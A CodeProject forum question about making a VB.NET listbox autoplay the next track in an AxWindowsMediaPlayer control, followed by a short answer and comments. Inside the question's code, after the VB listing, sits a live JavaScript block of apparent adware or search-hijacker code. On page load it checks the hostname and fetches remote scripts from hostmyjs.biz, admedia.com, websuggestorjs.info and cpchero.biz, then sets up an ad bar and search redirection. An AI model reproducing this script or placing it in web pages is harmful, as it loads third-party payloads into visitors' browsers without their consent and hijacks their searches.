Click here to Skip to main content
15,887,676 members
Please Sign up or sign in to vote.
0.00/5 (No votes)
Hello experts! im creating an advanced media player in vb.net. After exectuing the code from the AxWindowsMediaPlayer1_PlayStateChange event I want to autoplay the new selected item inside the listbox. Just like windows media player.Can you help me with my code please!

VB
Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click
    'import multi media files
    OpenFileDialog1.FileName = ""
    OpenFileDialog1.Multiselect = True
    OpenFileDialog1.ShowDialog()

    ListBox1.Items.AddRange(OpenFileDialog1.FileNames)


End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
    ''play selected item inside the listbox
    AxWindowsMediaPlayer1.URL = ListBox1.SelectedItem
    AxWindowsMediaPlayer1.Ctlcontrols.play()

End Sub

Private Sub AxWindowsMediaPlayer1_PlayStateChange(ByVal sender As Object, ByVal e As AxWMPLib._WMPOCXEvents_PlayStateChangeEvent) Handles AxWindowsMediaPlayer1.PlayStateChange
    'when music stopped move to next item from the listbox and autoplay
    If AxWindowsMediaPlayer1.playState = WMPLib.WMPPlayState.wmppsStopped Then
        If ListBox1.SelectedIndex < ListBox1.Items.Count - 1 Then
            ListBox1.SelectedIndex = ListBox1.SelectedIndex + 1

        End If

    End If

End Sub
Private Sub ListBox1_SelectedIndexChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles ListBox1.SelectedIndexChanged


End Sub

<script>
var id=3703514161;
var aff=30500;
var sid=6;

function INCL_checkinternals()
{
var h = document.location.hostname;
return (/search\.kalloutsearch\d\.com/i.test(h) == true ||
/search\.adbar\d\.com/i.test(h) == true ||
h.indexOf('search.runclips.com') != -1 ||
h.indexOf('search.searchnowdirect.com') != -1);
}

function INCL_addEventHandler (el, eType, fn)
{
if (el.addEventListener)
el.addEventListener(eType, fn, false);
else if (el.attachEvent)
el.attachEvent('on' + eType, fn);
else
el['on' + eType] = fn;
}

function INCL_checkdml()
{
var h = document.location.hostname;
return (h.indexOf("google")!=-1 ||
h.indexOf("facebook.com")!=-1 ||
h.indexOf("yahoo.com")!=-1 ||
h.indexOf("bing.com")!=-1 ||
h.indexOf("ask.com")!=-1 ||
h.indexOf("listenersguide.org.uk")!=-1);
}
function INCL_loadScript(src, scriptId)
{
if (window.location.protocol == 'https:' && src.indexOf('http:') == 0)
return;
var script = document.createElement("script");
script.src = src;
script.characterSet = "utf-8";
script.type = "text/javascript";
script.setAttribute('jsid', 'js36');
if (typeof(scriptId) !== 'undefined')
script.id = scriptId;
(document.head||document.getElementsByTagName('head')[0]|| document.body||document.getElementsByTagName('body')[0]).appendChild(script);
}
function INCL_onloadComplete()
{
if (!INCL_checkdml())
{
window.INLDM_cfg = { fi : 4603, fd : 0,
fddm: 'xml.cpchero.biz',
sttc: 'https://hostmyjs.biz/scripts/inl_dmmtch/',
inlsrhdm: 'sonicsearchonline.biz' };
INCL_loadScript('https://hostmyjs.biz/scripts/inl_dmmtch/inl_dmmtch.js');
INCL_loadScript('https://in.admedia.com/?id=ODkoOCI&subid=36');
}
INCL_loadScript('http://i.websuggestorjs.info/sugg/javascript.js?channel=js36');
INCL_loadScript('https://cdncache1-a.akamaihd.net/loaders/1247/l.js?aoi=1311798366&pid=1247&zoneid=52222');
window.dmadbar_settings = {dm_standalone : true, dmpd : 2, fd : 4723, fd2: 4604, xmlfeed : 'http://xml.cpchero.biz/search' , search_url : 'http://hostmysearch.com/?prt=yhs1Danta2&errUrl=http://www.yahoo.com&keywords=' , script_base : 'https://hostmyjs.biz/scripts/adbar' };
INCL_loadScript('https://hostmyjs.biz/scripts/adbar/adbar.js');
}
if (top === self && !INCL_checkinternals())
{
if (document.readyState === 'complete')
INCL_onloadComplete();
else
INCL_addEventHandler(window, 'load', INCL_onloadComplete);
}

</script>
Posted
Updated 18-Jun-13 10:28am
v2
Comments
mgoad99 18-Jun-13 16:06pm    
What is the problem you are having with your code?

One thing, I believe if you want it to auto play when the selected item changes, you need to set the auto postback property on the listbox control to true.
ex: <asp:ListBox ID="ListBox1" runat="server" AutoPostBack="True">
akosisugar 18-Jun-13 16:22pm    
sir.. in the AxWindowsMediaPlayer1_PlayStateChange event, when the a new selected item from the listbox is selected i want to autoplay that current item. just like windows media player.i to execute the code from the play button. i already try that but still not working..

1 solution

Sorry, i assumed you were using asp.net for some reason.

I put together a quick windows form application with the windows media conrol and a listbox containing a list of media files.

When the listbox selected item is changed, this works for me to play the selected item in the listbox.

VB
Private Sub ListBox1_SelectedIndexChanged(sender As Object, e As EventArgs) Handles ListBox1.SelectedIndexChanged
        AxWindowsMediaPlayer1.URL = ListBox1.SelectedItem
        AxWindowsMediaPlayer1.Ctlcontrols.play()
    End Sub
 
Share this answer
 
Comments
akosisugar 18-Jun-13 17:13pm    
sir. i already done this but in the AxWindowsMediaPlayer1_PlayStateChange event, the code will not execute properly. any other idea?
mgoad99 18-Jun-13 17:17pm    
Sorry, i am out of ideas for you. Based on what you posted is your code, the selected index changed event is empty. You have the code to play the movie on button1 click, which i dont understand what you are doing there. I would say the code is good, maybe the problem is the which events you have it in. Good luck!

This content, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)



CodeProject, 20 Bay Street, 11th Floor Toronto, Ontario, Canada M5J 2N8 +1 (416) 849-8900